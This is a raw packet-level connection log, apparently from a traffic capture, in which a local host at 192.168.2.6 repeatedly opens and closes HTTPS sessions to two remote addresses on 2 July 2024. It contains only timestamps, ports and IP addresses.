Jul 2, 2024 16:31:06.587474108 CEST	54833	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:06.587891102 CEST	54833	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:06.587904930 CEST	443	54833	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.053724051 CEST	443	54833	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.055346966 CEST	54833	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.055366039 CEST	443	54833	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.205377102 CEST	443	54833	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.205471992 CEST	443	54833	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.205526114 CEST	54833	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.206401110 CEST	54833	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.227720976 CEST	54834	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.227766991 CEST	443	54834	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.227854013 CEST	54834	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.228133917 CEST	54834	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.228146076 CEST	443	54834	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.714565039 CEST	443	54834	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.716377974 CEST	54834	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.716393948 CEST	443	54834	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.859450102 CEST	443	54834	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.859550953 CEST	443	54834	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.859592915 CEST	54834	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.860160112 CEST	54834	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.897222996 CEST	54835	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.897279978 CEST	443	54835	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:07.897344112 CEST	54835	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.897691965 CEST	54835	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:07.897710085 CEST	443	54835	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:08.395767927 CEST	443	54835	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:08.397949934 CEST	54835	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:08.397988081 CEST	443	54835	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:08.591728926 CEST	443	54835	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:08.591989040 CEST	443	54835	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:08.592191935 CEST	54835	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:08.592709064 CEST	54835	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:08.602628946 CEST	54836	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:08.602657080 CEST	443	54836	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:08.602930069 CEST	54836	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:08.603195906 CEST	54836	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:08.603209019 CEST	443	54836	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.087146997 CEST	443	54836	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.088875055 CEST	54836	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.088893890 CEST	443	54836	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.220767975 CEST	443	54836	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.220998049 CEST	443	54836	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.221055031 CEST	54836	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.221721888 CEST	54836	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.244822979 CEST	54837	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.244879961 CEST	443	54837	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.244961023 CEST	54837	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.245295048 CEST	54837	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.245307922 CEST	443	54837	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.713551998 CEST	443	54837	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.715152025 CEST	54837	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.715181112 CEST	443	54837	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.840460062 CEST	443	54837	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.840580940 CEST	443	54837	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.840626955 CEST	54837	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.841263056 CEST	54837	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.853135109 CEST	54838	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.853168011 CEST	443	54838	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:09.853244066 CEST	54838	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.853600025 CEST	54838	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:09.853615046 CEST	443	54838	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.319035053 CEST	443	54838	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.321892023 CEST	54838	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:10.321935892 CEST	443	54838	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.461705923 CEST	443	54838	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.461818933 CEST	443	54838	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.464873075 CEST	54838	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:10.468691111 CEST	54838	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:10.477912903 CEST	54839	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:10.477945089 CEST	443	54839	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.480878115 CEST	54839	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:10.484700918 CEST	54839	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:10.484710932 CEST	443	54839	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.958838940 CEST	443	54839	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:10.977154016 CEST	54839	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:10.977169037 CEST	443	54839	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.088076115 CEST	443	54839	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.088171005 CEST	443	54839	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.088223934 CEST	54839	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.089243889 CEST	54839	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.103276014 CEST	54840	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.103296995 CEST	443	54840	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.103387117 CEST	54840	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.103987932 CEST	54840	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.103995085 CEST	443	54840	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.603137970 CEST	443	54840	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.604300976 CEST	54840	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.604319096 CEST	443	54840	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.735761881 CEST	443	54840	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.735867023 CEST	443	54840	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.735918045 CEST	54840	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.736637115 CEST	54840	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.743482113 CEST	54841	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.743537903 CEST	443	54841	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:11.743645906 CEST	54841	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.744244099 CEST	54841	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:11.744257927 CEST	443	54841	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.242357016 CEST	443	54841	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.248694897 CEST	54841	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:12.248729944 CEST	443	54841	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.374530077 CEST	443	54841	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.374639988 CEST	443	54841	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.374802113 CEST	54841	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:12.375313044 CEST	54841	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:12.384785891 CEST	54842	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:12.384809017 CEST	443	54842	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.388766050 CEST	54842	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:12.389143944 CEST	54842	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:12.389153004 CEST	443	54842	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.876439095 CEST	443	54842	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:12.878818989 CEST	54842	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:12.878835917 CEST	443	54842	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.012440920 CEST	443	54842	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.012876987 CEST	443	54842	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.012973070 CEST	54842	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.015789986 CEST	54842	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.024502039 CEST	54843	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.024528027 CEST	443	54843	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.024616003 CEST	54843	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.029915094 CEST	54843	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.029922962 CEST	443	54843	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.519218922 CEST	443	54843	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.520572901 CEST	54843	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.520591021 CEST	443	54843	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.672564983 CEST	443	54843	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.672789097 CEST	443	54843	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.672859907 CEST	54843	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.673491955 CEST	54843	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.681761980 CEST	54844	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.681792021 CEST	443	54844	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:13.681847095 CEST	54844	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.682204008 CEST	54844	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:13.682214022 CEST	443	54844	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:14.151386976 CEST	443	54844	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:14.152909994 CEST	54844	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:14.152931929 CEST	443	54844	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:14.331316948 CEST	443	54844	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:14.331396103 CEST	443	54844	104.20.3.235	192.168.2.6
Jul 2, 2024 16:31:14.333323956 CEST	54844	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:14.333324909 CEST	54844	443	192.168.2.6	104.20.3.235
Jul 2, 2024 16:31:14.352705002 CEST	54845	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:14.352741957 CEST	443	54845	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:14.357060909 CEST	54845	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:14.357060909 CEST	54845	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:14.357094049 CEST	443	54845	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:14.851527929 CEST	443	54845	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:14.856548071 CEST	54845	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:14.856575966 CEST	443	54845	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.002146006 CEST	443	54845	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.002233028 CEST	443	54845	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.002330065 CEST	54845	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.002995968 CEST	54845	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.010399103 CEST	54846	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.010428905 CEST	443	54846	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.010710001 CEST	54846	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.010798931 CEST	54846	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.010812044 CEST	443	54846	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.491347075 CEST	443	54846	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.493230104 CEST	54846	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.493264914 CEST	443	54846	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.636188984 CEST	443	54846	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.636270046 CEST	443	54846	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.636312962 CEST	54846	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.636899948 CEST	54846	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.649683952 CEST	54847	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.649724960 CEST	443	54847	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:15.649801970 CEST	54847	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.650078058 CEST	54847	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:15.650094032 CEST	443	54847	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.126832008 CEST	443	54847	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.128947020 CEST	54847	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.128966093 CEST	443	54847	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.259617090 CEST	443	54847	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.259687901 CEST	443	54847	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.259870052 CEST	54847	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.260695934 CEST	54847	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.280699968 CEST	54848	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.280745029 CEST	443	54848	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.284843922 CEST	54848	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.288700104 CEST	54848	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.288719893 CEST	443	54848	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.772735119 CEST	443	54848	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.776730061 CEST	54848	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.776760101 CEST	443	54848	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.928376913 CEST	443	54848	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.928450108 CEST	443	54848	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.928656101 CEST	54848	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.929193020 CEST	54848	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.946422100 CEST	54849	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.946455956 CEST	443	54849	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:16.946706057 CEST	54849	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.946851969 CEST	54849	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:16.946865082 CEST	443	54849	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:17.496191978 CEST	443	54849	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:17.504271984 CEST	54849	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:17.504296064 CEST	443	54849	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:17.648246050 CEST	443	54849	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:17.648315907 CEST	443	54849	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:17.648367882 CEST	54849	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:17.649362087 CEST	54849	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:17.665594101 CEST	54850	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:17.665620089 CEST	443	54850	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:17.665678978 CEST	54850	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:17.665944099 CEST	54850	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:17.665954113 CEST	443	54850	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.149640083 CEST	443	54850	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.152822971 CEST	54850	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.152848005 CEST	443	54850	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.281366110 CEST	443	54850	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.281445026 CEST	443	54850	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.283329010 CEST	54850	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.283329010 CEST	54850	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.291726112 CEST	54851	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.291750908 CEST	443	54851	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.295018911 CEST	54851	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.295018911 CEST	54851	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.295049906 CEST	443	54851	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.763371944 CEST	443	54851	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.764753103 CEST	54851	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.764772892 CEST	443	54851	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.920109987 CEST	443	54851	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.920185089 CEST	443	54851	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.920422077 CEST	54851	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.924715042 CEST	54851	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.931035042 CEST	54852	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.931076050 CEST	443	54852	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:18.931767941 CEST	54852	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.931864023 CEST	54852	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:18.931875944 CEST	443	54852	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:19.421870947 CEST	443	54852	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:19.423592091 CEST	54852	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:19.423619986 CEST	443	54852	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:19.563857079 CEST	443	54852	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:19.563947916 CEST	443	54852	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:19.564003944 CEST	54852	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:19.568502903 CEST	54852	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:19.571815968 CEST	54853	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:19.571845055 CEST	443	54853	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:19.571912050 CEST	54853	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:19.572334051 CEST	54853	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:19.572345018 CEST	443	54853	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.065558910 CEST	443	54853	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.067123890 CEST	54853	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:20.067137957 CEST	443	54853	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.270304918 CEST	443	54853	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.270402908 CEST	443	54853	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.270534039 CEST	54853	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:20.272696018 CEST	54853	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:20.276705980 CEST	54854	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:20.276732922 CEST	443	54854	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.276973009 CEST	54854	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:20.280704975 CEST	54854	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:20.280715942 CEST	443	54854	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.745095968 CEST	443	54854	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:20.752732038 CEST	54854	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:20.752743959 CEST	443	54854	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.078193903 CEST	443	54854	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.078284025 CEST	443	54854	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.078458071 CEST	54854	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.080709934 CEST	54854	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.088704109 CEST	54855	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.088748932 CEST	443	54855	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.089016914 CEST	54855	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.091425896 CEST	54855	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.091458082 CEST	443	54855	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.570400953 CEST	443	54855	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.571605921 CEST	54855	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.571634054 CEST	443	54855	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.715696096 CEST	443	54855	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.715775013 CEST	443	54855	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.715816975 CEST	54855	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.716584921 CEST	54855	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.727807999 CEST	54856	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.727853060 CEST	443	54856	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:21.727909088 CEST	54856	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.728251934 CEST	54856	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:21.728266954 CEST	443	54856	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.208740950 CEST	443	54856	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.213846922 CEST	54856	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.213876009 CEST	443	54856	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.353286982 CEST	443	54856	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.353391886 CEST	443	54856	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.353619099 CEST	54856	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.354166031 CEST	54856	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.368427038 CEST	54857	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.368469000 CEST	443	54857	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.368788004 CEST	54857	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.369072914 CEST	54857	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.369086027 CEST	443	54857	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.838290930 CEST	443	54857	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.841875076 CEST	54857	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.841892004 CEST	443	54857	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.985927105 CEST	443	54857	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.986007929 CEST	443	54857	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.986242056 CEST	54857	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.988703966 CEST	54857	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.996704102 CEST	54858	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:22.996752977 CEST	443	54858	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:22.997454882 CEST	54858	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.002330065 CEST	54858	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.002351046 CEST	443	54858	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:23.601906061 CEST	443	54858	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:23.603115082 CEST	54858	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.603127956 CEST	443	54858	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:23.758384943 CEST	443	54858	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:23.758482933 CEST	443	54858	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:23.758531094 CEST	54858	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.759094954 CEST	54858	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.760449886 CEST	54859	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.760499954 CEST	443	54859	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:23.760698080 CEST	54859	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.761014938 CEST	54859	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:23.761030912 CEST	443	54859	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.266170025 CEST	443	54859	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.267807961 CEST	54859	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:24.267827988 CEST	443	54859	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.426359892 CEST	443	54859	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.426453114 CEST	443	54859	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.428803921 CEST	54859	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:24.429177999 CEST	54859	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:24.430356979 CEST	54860	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:24.430393934 CEST	443	54860	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.430505037 CEST	54860	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:24.430775881 CEST	54860	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:24.430787086 CEST	443	54860	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.917550087 CEST	443	54860	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:24.918792963 CEST	54860	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:24.918811083 CEST	443	54860	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.078425884 CEST	443	54860	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.078506947 CEST	443	54860	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.078567982 CEST	54860	443	192.168.2.6	104.20.4.235
